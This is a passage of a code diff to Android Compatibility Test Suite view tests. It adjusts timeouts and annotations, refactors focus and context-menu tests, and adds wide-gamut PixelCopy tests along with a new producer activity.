 import static org.junit.Assert.fail;
 
 import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.FlakyTest;
+import android.support.test.filters.MediumTest;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
 
@@ -26,7 +28,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-@SmallTest
+@FlakyTest
 @RunWith(AndroidJUnit4.class)
 public class ChoreographerNativeTest {
     private long mChoreographerPtr;
@@ -49,11 +51,13 @@
         }
     }
 
+    @MediumTest
     @Test
     public void testPostCallbackWithoutDelayEventuallyRunsCallbacks() {
         nativeTestPostCallbackWithoutDelayEventuallyRunsCallbacks(mChoreographerPtr);
     }
 
+    @SmallTest
     @Test
     public void testPostCallbackWithDelayEventuallyRunsCallbacks() {
         nativeTestPostCallbackWithDelayEventuallyRunsCallbacks(mChoreographerPtr);
diff --git a/tests/tests/view/src/android/view/cts/ChoreographerTest.java b/tests/tests/view/src/android/view/cts/ChoreographerTest.java
index e152d5b..a232b51 100644
--- a/tests/tests/view/src/android/view/cts/ChoreographerTest.java
+++ b/tests/tests/view/src/android/view/cts/ChoreographerTest.java
@@ -82,7 +82,7 @@
 
             // We expect the remaining callbacks to have been invoked once.
             verify(addedCallback1, timeout(NOMINAL_VSYNC_PERIOD * 10).times(1)).run();
-            verify(addedCallback2, times(1)).run();
+            verify(addedCallback2, timeout(NOMINAL_VSYNC_PERIOD * 10).times(1)).run();
             verifyZeroInteractions(removedCallback);
 
             // If we post a callback again, then it should be invoked again.
diff --git a/tests/tests/view/src/android/view/cts/DragDropTest.java b/tests/tests/view/src/android/view/cts/DragDropTest.java
index 64c170c..bf83c7b 100644
--- a/tests/tests/view/src/android/view/cts/DragDropTest.java
+++ b/tests/tests/view/src/android/view/cts/DragDropTest.java
@@ -61,6 +61,7 @@
 
     private DragDropActivity mActivity;
 
+    private CountDownLatch mStartReceived;
     private CountDownLatch mEndReceived;
 
     private static boolean equal(ClipDescription d1, ClipDescription d2) {
@@ -141,6 +142,9 @@
     }
 
     private void logEvent(View v, DragEvent ev) {
+        if (ev.getAction() == DragEvent.ACTION_DRAG_STARTED) {
+            mStartReceived.countDown();
+        }
         if (ev.getAction() == DragEvent.ACTION_DRAG_ENDED) {
             mEndReceived.countDown();
         }
@@ -203,7 +207,7 @@
             long downTime = SystemClock.uptimeMillis();
             MotionEvent event = MotionEvent.obtain(downTime, downTime, action,
                     destLoc[0] + offset, destLoc[1] + offset, 1);
-            event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+            event.setSource(InputDevice.SOURCE_MOUSE);
             mAutomation.injectInputEvent(event, false);
         });
 
@@ -277,7 +281,11 @@
     @Before
     public void setUp() {
         mActivity = mActivityRule.getActivity();
+        mStartReceived = new CountDownLatch(1);
         mEndReceived = new CountDownLatch(1);
+
+        // Wait for idle
+        mInstrumentation.waitForIdleSync();
     }
 
     @After
@@ -315,6 +323,13 @@
             assertTrue("Couldn't start drag",
                     v.startDragAndDrop(createClipData(), new View.DragShadowBuilder(v), null, 0));
         });
+
+        try {
+            assertTrue("Timeout while waiting for START event",
+                    mStartReceived.await(1, TimeUnit.SECONDS));
+        } catch (InterruptedException e) {
+            fail("Got InterruptedException while waiting for START event");
+        }
     }
 
     /**
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index 5ec5e7f..0f2119e 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -94,6 +94,10 @@
         verifyNextFocus(null, View.FOCUS_LEFT, mBottomRight);
         verifyNextFocus(null, View.FOCUS_UP, mBottomRight);
 
+        // Check that left/right traversal works when top/bottom borders are equal.
+        verifyNextFocus(mTopRight, View.FOCUS_LEFT, mTopLeft);
+        verifyNextFocus(mBottomLeft, View.FOCUS_RIGHT, mBottomRight);
+
         // Edge-case where root has focus
         mActivityRule.runOnUiThread(() -> {
             mLayout.setFocusableInTouchMode(true);
@@ -400,8 +404,8 @@
         FrameLayout layout = new FrameLayout(mLayout.getContext());
         Button button1 = new Button(mLayout.getContext());
         Button button2 = new Button(mLayout.getContext());
-        button1.setLeftTopRightBottom(0, 0, 10, 10);
-        button2.setLeftTopRightBottom(0, 0, 10, 10);
+        setViewBox(button1, 0, 0, 10, 10);
+        setViewBox(button2, 0, 0, 10, 10);
         layout.addView(button1);
         layout.addView(button2);
         View[] views = new View[]{button2, button1};
@@ -415,7 +419,7 @@
         assertEquals(button2, views[0]);
         assertEquals(button1, views[1]);
         // make sure it will actually mutate input array.
-        button2.setLeftTopRightBottom(20, 0, 30, 10);
+        setViewBox(button2, 20, 0, 30, 10);
         FocusFinder.sort(views, 0, 2, layout, false);
         assertEquals(button1, views[0]);
         assertEquals(button2, views[1]);
@@ -442,4 +446,11 @@
         verifyNextFocus(mTopRight, View.FOCUS_FORWARD, mBottomLeft);
         verifyNextFocus(mBottomLeft, View.FOCUS_FORWARD, mBottomRight);
     }
+
+    private void setViewBox(View view, int left, int top, int right, int bottom) {
+        view.setLeft(left);
+        view.setTop(top);
+        view.setRight(right);
+        view.setBottom(bottom);
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index 6310ce8..0cbd0ca 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -17,6 +17,7 @@
 package android.view.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -24,6 +25,7 @@
 import static org.mockito.Mockito.when;
 
 import android.app.Instrumentation;
+import android.content.pm.ActivityInfo;
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
 import android.graphics.Color;
@@ -36,6 +38,7 @@
 import android.support.test.filters.MediumTest;
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
+import android.util.Half;
 import android.util.Log;
 import android.view.PixelCopy;
 import android.view.Surface;
@@ -52,6 +55,8 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.model.Statement;
 
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -73,6 +78,11 @@
             new ActivityTestRule<>(PixelCopyViewProducerActivity.class, false, false);
 
     @Rule
+    public ActivityTestRule<PixelCopyWideGamutViewProducerActivity>
+            mWideGamutWindowSourceActivityRule = new ActivityTestRule<>(
+                    PixelCopyWideGamutViewProducerActivity.class, false, false);
+
+    @Rule
     public SurfaceTextureRule mSurfaceRule = new SurfaceTextureRule();
 
     private Instrumentation mInstrumentation;
@@ -231,6 +241,30 @@
                 Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
     }
 
+    @Test
+    public void testReuseBitmap() {
+        // Since we only sample mid-pixel of each qudrant, filtering
+        // quality isn't tested
+        PixelCopyGLProducerCtsActivity activity = waitForGlProducerActivity();
+        Bitmap bitmap = Bitmap.createBitmap(20, 20, Config.ARGB_8888);
+        int result = mCopyHelper.request(activity.getView(), bitmap);
+        // Make sure nothing messed with the bitmap
+        assertEquals(20, bitmap.getWidth());
+        assertEquals(20, bitmap.getHeight());
+        assertEquals(Config.ARGB_8888, bitmap.getConfig());
+        assertBitmapQuadColor(bitmap,
+                Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+        int generationId = bitmap.getGenerationId();
+        result = mCopyHelper.request(activity.getView(), bitmap);
+        // Make sure nothing messed with the bitmap
+        assertEquals(20, bitmap.getWidth());
+        assertEquals(20, bitmap.getHeight());
+        assertEquals(Config.ARGB_8888, bitmap.getConfig());
+        assertBitmapQuadColor(bitmap,
+                Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+        assertNotEquals(generationId, bitmap.getGenerationId());
+    }
+
     private Window waitForWindowProducerActivity() {
         PixelCopyViewProducerActivity activity =
                 mWindowSourceActivityRule.launchActivity(null);
@@ -319,6 +353,125 @@
         } while (activity.rotate());
     }
 
+    @Test
+    public void testWindowProducerCopyToRGBA16F() {
+        Window window = waitForWindowProducerActivity();
+        PixelCopyViewProducerActivity activity = mWindowSourceActivityRule.getActivity();
+
+        Bitmap bitmap;
+        do {
+            Rect src = makeWindowRect(0, 0, 100, 100);
+            bitmap = Bitmap.createBitmap(src.width(), src.height(), Config.RGBA_F16);
+            int result = mCopyHelper.request(window, src, bitmap);
+            // On OpenGL ES 2.0 devices a copy to RGBA_F16 can fail because there's
+            // not support for float textures
+            if (result != PixelCopy.ERROR_DESTINATION_INVALID) {
+                assertEquals("Fullsize copy request failed", PixelCopy.SUCCESS, result);
+                assertEquals(Config.RGBA_F16, bitmap.getConfig());
+                assertBitmapQuadColor(bitmap,
+                        Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+                assertBitmapEdgeColor(bitmap, Color.YELLOW);
+            }
+        } while (activity.rotate());
+    }
+
+    private Window waitForWideGamutWindowProducerActivity() {
+        PixelCopyWideGamutViewProducerActivity activity =
+                mWideGamutWindowSourceActivityRule.launchActivity(null);
+        activity.waitForFirstDrawCompleted(3, TimeUnit.SECONDS);
+        return activity.getWindow();
+    }
+
+    private Rect makeWideGamutWindowRect(int left, int top, int right, int bottom) {
+        Rect r = new Rect(left, top, right, bottom);
+        mWideGamutWindowSourceActivityRule.getActivity().offsetForContent(r);
+        return r;
+    }
+
+    @Test
+    public void testWideGamutWindowProducerCopyToRGBA8888() {
+        Window window = waitForWideGamutWindowProducerActivity();
+        assertEquals(
+                ActivityInfo.COLOR_MODE_WIDE_COLOR_GAMUT, window.getAttributes().getColorMode());
+
+        // Early out if the device does not support wide color gamut rendering
+        if (!window.isWideColorGamut()) {
+            return;
+        }
+
+        PixelCopyWideGamutViewProducerActivity activity =
+                mWideGamutWindowSourceActivityRule.getActivity();
+
+        Bitmap bitmap;
+        do {
+            Rect src = makeWideGamutWindowRect(0, 0, 128, 128);
+            bitmap = Bitmap.createBitmap(src.width(), src.height(), Config.ARGB_8888);
+            int result = mCopyHelper.request(window, src, bitmap);
+
+            assertEquals("Fullsize copy request failed", PixelCopy.SUCCESS, result);
+            assertEquals(Config.ARGB_8888, bitmap.getConfig());
+
+            assertEquals("Top left", Color.RED, bitmap.getPixel(32, 32));
+            assertEquals("Top right", Color.GREEN, bitmap.getPixel(96, 32));
+            assertEquals("Bottom left", Color.BLUE, bitmap.getPixel(32, 96));
+            assertEquals("Bottom right", Color.YELLOW, bitmap.getPixel(96, 96));
+        } while (activity.rotate());
+    }
+
+    @Test
+    public void testWideGamutWindowProducerCopyToRGBA16F() {
+        Window window = waitForWideGamutWindowProducerActivity();
+        assertEquals(
+                ActivityInfo.COLOR_MODE_WIDE_COLOR_GAMUT, window.getAttributes().getColorMode());
+
+        // Early out if the device does not support wide color gamut rendering
+        if (!window.isWideColorGamut()) {
+            return;
+        }
+
+        PixelCopyWideGamutViewProducerActivity activity =
+                mWideGamutWindowSourceActivityRule.getActivity();
+
+        Bitmap bitmap;
+        int i = 0;
+        do {
+            Rect src = makeWideGamutWindowRect(0, 0, 128, 128);
+            bitmap = Bitmap.createBitmap(src.width(), src.height(), Config.RGBA_F16);
+            int result = mCopyHelper.request(window, src, bitmap);
+
+            assertEquals("Fullsize copy request failed", PixelCopy.SUCCESS, result);
+            assertEquals(Config.RGBA_F16, bitmap.getConfig());
+
+            ByteBuffer dst = ByteBuffer.allocateDirect(bitmap.getAllocationByteCount());
+            bitmap.copyPixelsToBuffer(dst);
+            dst.rewind();
+            dst.order(ByteOrder.LITTLE_ENDIAN);
+
+            // ProPhoto RGB red in scRGB-nl
+            assertEqualsRgba16f("Top left",     bitmap, 32, 32, dst,  1.36f, -0.52f, -0.09f, 1.0f);
+            // ProPhoto RGB green in scRGB-nl
+            assertEqualsRgba16f("Top right",    bitmap, 96, 32, dst, -0.87f,  1.10f, -0.43f, 1.0f);
+            // ProPhoto RGB blue in scRGB-nl
+            assertEqualsRgba16f("Bottom left",  bitmap, 32, 96, dst, -0.59f, -0.04f,  1.07f, 1.0f);
+            // ProPhoto RGB yellow in scRGB-nl
+            assertEqualsRgba16f("Bottom right", bitmap, 96, 96, dst,  1.12f,  1.00f, -0.44f, 1.0f);
+        } while (activity.rotate());
+    }
+
+    private static void assertEqualsRgba16f(String message, Bitmap bitmap, int x, int y,
+            ByteBuffer dst, float r, float g, float b, float a) {
+        int index = y * bitmap.getRowBytes() + (x << 3);
+        short cR = dst.getShort(index);
+        short cG = dst.getShort(index + 2);
+        short cB = dst.getShort(index + 4);
+        short cA = dst.getShort(index + 6);
+
+        assertEquals(message, r, Half.toFloat(cR), 0.01);
+        assertEquals(message, g, Half.toFloat(cG), 0.01);
+        assertEquals(message, b, Half.toFloat(cB), 0.01);
+        assertEquals(message, a, Half.toFloat(cA), 0.01);
+    }
+
     private void runGcAndFinalizersSync() {
         final CountDownLatch fence = new CountDownLatch(1);
         new Object() {
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
index b7d6c5b..054de45 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
@@ -65,6 +65,8 @@
 
         mContent = new ColoredGrid(this);
         setContentView(mContent);
+        View view = this.getWindow().getDecorView();
+        view.setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
         mContent.getViewTreeObserver().addOnDrawListener(this);
         mContent.setOnApplyWindowInsetsListener(this);
     }
@@ -127,7 +129,7 @@
             mCurrentOrientation = (mCurrentOrientation + 1) % ORIENTATIONS.length;
             setRequestedOrientation(ORIENTATIONS[mCurrentOrientation]);
         });
-        waitForFirstDrawCompleted(3, TimeUnit.SECONDS);
+        waitForFirstDrawCompleted(10, TimeUnit.SECONDS);
         return mCurrentOrientation != 0;
     }
 
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java
new file mode 100644
index 0000000..d8a512d
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
+import android.content.res.AssetManager;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Canvas;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.view.View;
+import android.view.ViewTreeObserver.OnDrawListener;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import static org.junit.Assert.fail;
+
+public class PixelCopyWideGamutViewProducerActivity extends Activity implements OnDrawListener {
+    private static final int[] ORIENTATIONS = {
+            ActivityInfo.SCREEN_ORIENTATION_PORTRAIT,
+            ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE,
+            ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT,
+            ActivityInfo.SCREEN_ORIENTATION_REVERSE_LANDSCAPE,
+    };
+    private int mCurrentOrientation = 0;
+    private View mContent;
+    private Rect mContentBounds = new Rect();
+    private CountDownLatch mFence = new CountDownLatch(3);
+    private boolean mSupportsRotation;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Check if the device supports both of portrait and landscape orientation screens.
+        final PackageManager pm = getPackageManager();
+        mSupportsRotation = pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
+                    && pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT);
+        if (mSupportsRotation) {
+            setRequestedOrientation(ORIENTATIONS[mCurrentOrientation]);
+        }
+
+        mContent = new WideGamutBitmapView(this);
+        setContentView(mContent);
+        View view = this.getWindow().getDecorView();
+        view.setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
+        mContent.getViewTreeObserver().addOnDrawListener(this);
+    }
+
+    @Override
+    public void onDraw() {
+        final int requestedOrientation = ORIENTATIONS[mCurrentOrientation];
+        boolean screenPortrait =
+                requestedOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
+                || requestedOrientation == ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT;
+        boolean contentPortrait = mContent.getHeight() > mContent.getWidth();
+        if (mSupportsRotation && (screenPortrait != contentPortrait)) {
+            return;
+        }
+        mContent.post(() -> {
+            Point offset = new Point();
+            // We pass mContentBounds here just as a throwaway rect, we don't care about
+            // the visible rect just the global offset.
+            mContent.getGlobalVisibleRect(mContentBounds, offset);
+            mContentBounds.set(offset.x, offset.y,
+                    offset.x + mContent.getWidth(), offset.y + mContent.getHeight());
+            mFence.countDown();
+            if (mFence.getCount() > 0) {
+                mContent.invalidate();
+            }
+        });
+    }
+
+    public void waitForFirstDrawCompleted(int timeout, TimeUnit unit) {
+        try {
+            if (!mFence.await(timeout, unit)) {
+                fail("Timeout");
+            }
+        } catch (InterruptedException ex) {
+            fail(ex.getMessage());
+        }
+    }
+
+    public boolean rotate() {
+        if (!mSupportsRotation) {
+            // Do not rotate the screen if it is not supported.
+            return false;
+        }
+        mFence = new CountDownLatch(3);
+        runOnUiThread(() -> {
+            mCurrentOrientation = (mCurrentOrientation + 1) % ORIENTATIONS.length;
+            setRequestedOrientation(ORIENTATIONS[mCurrentOrientation]);
+        });
+        waitForFirstDrawCompleted(3, TimeUnit.SECONDS);
+        return mCurrentOrientation != 0;
+    }
+
+    void offsetForContent(Rect inOut) {
+        inOut.offset(mContentBounds.left, mContentBounds.top);
+    }
+
+    private static final class WideGamutBitmapView extends View {
+        private final Bitmap mBitmap;
+
+        WideGamutBitmapView(Context context) {
+            super(context);
+            // We use an asset to ensure aapt will not mess with the data
+            AssetManager assets = context.getResources().getAssets();
+            try (InputStream in = assets.open("prophoto.png")) {
+                mBitmap = BitmapFactory.decodeStream(in);
+            } catch (IOException e) {
+                throw new RuntimeException("Test failed: ", e);
+            }
+        }
+
+        @Override
+        protected void onDraw(Canvas canvas) {
+            canvas.drawBitmap(mBitmap, 0.0f, 0.0f, null);
+        }
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureTest.java b/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
index bb14589..139232f 100644
--- a/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
@@ -45,6 +45,7 @@
 import android.view.View;
 
 import com.android.compatibility.common.util.CtsMouseUtil.ActionMatcher;
+import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
@@ -228,7 +229,10 @@
 
         // Show a context menu on a widget.
         mActivity.registerForContextMenu(mTarget);
-        mActivityRule.runOnUiThread(() -> mTarget.showContextMenu(0, 0));
+        // TODO(kaznacheev) replace the below line with a call to showContextMenu once b/65487689
+        // is fixed. Meanwhile, emulate a long press which takes long enough time to avoid the race
+        // condition.
+        CtsTouchUtils.emulateLongPressOnView(mInstrumentation, mTarget, 0, 0);
         PollingCheck.waitFor(TIMEOUT_DELTA, () -> !mOuter.hasWindowFocus());
         assertPointerCapture(false);
 
diff --git a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
index 0f77bd7..2a14a8d 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
@@ -242,7 +242,7 @@
                 + " incorrect frames observed - incorrect positioning",
                 result.failFrames == 0);
         float framesPerSecond = 1.0f * result.passFrames
-                / TimeUnit.MILLISECONDS.toSeconds(CapturedActivity.CAPTURE_DURATION_MS);
+                / TimeUnit.MILLISECONDS.toSeconds(mActivity.getCaptureDurationMs());
         assertTrue("Error, only " + result.passFrames
                 + " frames observed, virtual display only capturing at "
                 + framesPerSecond + " frames per second",
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java b/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
index b909469..63d4d5e 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
@@ -31,7 +31,7 @@
 @LargeTest
 @RunWith(AndroidJUnit4.class)
 public class TextureViewCameraTest {
-    private static final long WAIT_TIMEOUT_IN_SECS = 10;
+    private static final long WAIT_TIMEOUT_IN_SECS = 30;
 
     private TextureViewCameraActivity mActivity;
     private int mNumberOfCameras;
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index 2a5e433..f66e137 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -119,7 +119,7 @@
 
     private int waitForChange(Point point, int color)
             throws InterruptedException, TimeoutException {
-        for (int i = 0; i < 20; i++) {
+        for (int i = 0; i < 30; i++) {
             int pixel = getPixel(point);
             if (pixel != color) {
                 return pixel;
diff --git a/tests/tests/view/src/android/view/cts/TooltipTest.java b/tests/tests/view/src/android/view/cts/TooltipTest.java
index 2ffe06b..1717763 100644
--- a/tests/tests/view/src/android/view/cts/TooltipTest.java
+++ b/tests/tests/view/src/android/view/cts/TooltipTest.java
@@ -28,12 +28,15 @@
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
+import android.view.Gravity;
 import android.view.InputDevice;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 import android.view.View;
 import android.view.ViewConfiguration;
 import android.view.ViewGroup;
+import android.widget.PopupWindow;
+import android.widget.TextView;
 
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
@@ -782,4 +785,22 @@
         injectLongHoverMove(parent);
         assertTrue(hasTooltip(parent));
     }
+
+    @Test
+    public void testTooltipInPopup() throws Throwable {
+        TextView popupContent = new TextView(mActivity);
+
+        mActivityRule.runOnUiThread(() -> {
+            popupContent.setText("Popup view");
+            popupContent.setTooltipText("Tooltip");
+
+            PopupWindow popup = new PopupWindow(popupContent,
+                    ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT);
+            popup.showAtLocation(mGroupView, Gravity.CENTER, 0, 0);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        injectLongClick(popupContent);
+        assertTrue(hasTooltip(popupContent));
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupTest.java b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
index 7439ee0..0c12579 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
@@ -1662,6 +1662,28 @@
 
     @UiThreadTest
     @Test
+    public void testFocusInClusterFocusableChanges() {
+        TestClusterHier h = new TestClusterHier();
+        h.cluster1.setKeyboardNavigationCluster(false);
+        h.c1view2.setFocusedInCluster();
+        h.c2view1.requestFocus();
+        assertSame(h.top.findFocus(), h.c2view1);
+        assertTrue(h.top.restoreFocusNotInCluster());
+        assertSame(h.top.findFocus(), h.c1view2);
+        h.c1view1.setFocusable(false);
+        // making it invisible should clear focusNotInCluster chain
+        h.c1view2.setVisibility(View.INVISIBLE);
+        assertFalse(h.top.restoreFocusNotInCluster());
+        h.c1view2.setVisibility(View.VISIBLE);
+        h.c1view2.requestFocus();
+        h.c1view2.setFocusedInCluster();
+        h.c2view1.setFocusable(false);
+        h.c2view2.setFocusable(false);
+        assertFalse(h.cluster2.restoreFocusInCluster(View.FOCUS_DOWN));
+    }
+
+    @UiThreadTest
+    @Test
     public void testRestoreDefaultFocus() {
         TestClusterHier h = new TestClusterHier();
         h.c1view2.setFocusedByDefault(true);
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 99431a5..cdb2223 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -103,7 +103,6 @@
 import com.android.compatibility.common.util.CtsMouseUtil;
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
-import com.android.internal.view.menu.ContextMenuBuilder;
 
 import org.junit.Before;
 import org.junit.Rule;
@@ -1076,21 +1075,22 @@
     }
 
     @Test
-    public void testCreateContextMenu() {
-        View.OnCreateContextMenuListener listener = mock(View.OnCreateContextMenuListener.class);
-        MockView view = new MockView(mActivity);
-        ContextMenu contextMenu = new ContextMenuBuilder(mActivity);
-        view.setParent(mMockParent);
-        view.setOnCreateContextMenuListener(listener);
-        assertFalse(view.hasCalledOnCreateContextMenu());
-        assertFalse(mMockParent.hasCreateContextMenu());
-        verifyZeroInteractions(listener);
+    public void testCreateContextMenu() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            View.OnCreateContextMenuListener listener =
+                    mock(View.OnCreateContextMenuListener.class);
+            MockView view = new MockView(mActivity);
+            mActivity.setContentView(view);
+            mActivity.registerForContextMenu(view);
+            view.setOnCreateContextMenuListener(listener);
+            assertFalse(view.hasCalledOnCreateContextMenu());
+            verifyZeroInteractions(listener);
 
-        view.createContextMenu(contextMenu);
-        assertTrue(view.hasCalledOnCreateContextMenu());
-        assertTrue(mMockParent.hasCreateContextMenu());
-        verify(listener, times(1)).onCreateContextMenu(
-                eq(contextMenu), eq(view), any());
+            view.showContextMenu();
+            assertTrue(view.hasCalledOnCreateContextMenu());
+            verify(listener, times(1)).onCreateContextMenu(
+                    any(), eq(view), any());
+        });
     }
 
     @Test(expected=NullPointerException.class)
@@ -1228,32 +1228,36 @@
     }
 
     @Test
-    public void testKeyboardNavigationClusterSearch() {
-        mMockParent.setIsRootNamespace(true);
-        View v1 = new MockView(mActivity);
-        v1.setFocusableInTouchMode(true);
-        View v2 = new MockView(mActivity);
-        v2.setFocusableInTouchMode(true);
-        mMockParent.addView(v1);
-        mMockParent.addView(v2);
+    public void testKeyboardNavigationClusterSearch() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            ViewGroup decorView = (ViewGroup) mActivity.getWindow().getDecorView();
+            decorView.removeAllViews();
+            View v1 = new MockView(mActivity);
+            v1.setFocusableInTouchMode(true);
+            View v2 = new MockView(mActivity);
+            v2.setFocusableInTouchMode(true);
+            decorView.addView(v1);
+            decorView.addView(v2);
 
-        // Searching for clusters.
-        v1.setKeyboardNavigationCluster(true);
-        v2.setKeyboardNavigationCluster(true);
-        assertEquals(v2, mMockParent.keyboardNavigationClusterSearch(v1, View.FOCUS_FORWARD));
-        assertEquals(v1, mMockParent.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
-        assertEquals(v2, mMockParent.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
-        assertEquals(v2, v1.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
-        assertEquals(mMockParent, v1.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
-        assertEquals(mMockParent, v2.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
-        assertEquals(v1, v2.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
+            // Searching for clusters.
+            v1.setKeyboardNavigationCluster(true);
+            v2.setKeyboardNavigationCluster(true);
+            assertEquals(v2, decorView.keyboardNavigationClusterSearch(v1, View.FOCUS_FORWARD));
+            assertEquals(v1, decorView.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+            assertEquals(v2, decorView.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
+            assertEquals(v2, v1.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+            assertEquals(decorView, v1.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
+            assertEquals(decorView, v2.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+            assertEquals(v1, v2.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
 
-        // Clusters in 3-level hierarchy.
-        ViewGroup root = new MockViewParent(mActivity);
-        root.setIsRootNamespace(true);
-        mMockParent.setIsRootNamespace(false);
-        root.addView(mMockParent);
-        assertEquals(root, v2.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+            // Clusters in 3-level hierarchy.
+            decorView.removeAllViews();
+            LinearLayout middle = new LinearLayout(mActivity);
+            middle.addView(v1);
+            middle.addView(v2);
+            decorView.addView(middle);
+            assertEquals(decorView, v2.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+        });
     }
 
     @Test
@@ -1818,24 +1822,29 @@
     @Test
     public void testMeasure() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
+
